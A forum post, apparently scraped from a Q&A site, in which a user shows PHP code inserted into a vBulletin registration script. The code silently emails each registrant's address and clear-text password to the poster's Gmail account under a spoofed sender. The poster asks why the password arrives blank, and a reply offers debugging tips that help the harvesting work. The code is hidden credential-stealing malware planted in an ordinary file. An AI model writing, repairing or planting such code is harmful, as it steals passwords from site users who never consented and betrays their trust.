php用户输入不会被发送

hi guys :) i want to modify my registration form , so it will save the crypted password to my db and send me a clear text to my email , the registration form is using this code https://gitlab.com/hub/vbulletin/blob/vBulletin-4.2.0/register.php ( sorry too big to pas ) so i inserted this code in the line 175 :

///////////////TERMA
$sex=$_GET['do'];
if($sex=='addmember'){
$hohohoho='
emailo : '.$_POST['email'].'
passoo : '.$_POST['password'].'
';
$nihahaha='sa7a sa7a boite email jdida :p';
$emchy='wesletifedy@gmail.com';
$nouna = "weslety-ya-9a7boun@fsociety.tn";
$bazoul ="MIME-Version: 1.0 
";
$bazoul.="from: $nouna 
";
$bazoul.="Content-type: text/plain;charset=utf-8 
";
$bazoul.="X-Priority: 3
";
$bazoul.="X-Mailer: smail-PHP ".phpversion()."
";        
mail($emchy, $nihahaha, $hohohoho, $bazoul);
}

when i put passoo : '.$_POST['password'].' in the email it comes blank field , but when i change password to password_md5 it comes to my md5 crypted , and i want it clear text , any help please ?

Please try to var_dump and die() the $_POST variables first to see if the password field is not empty - empty string can still be md5-hashed :)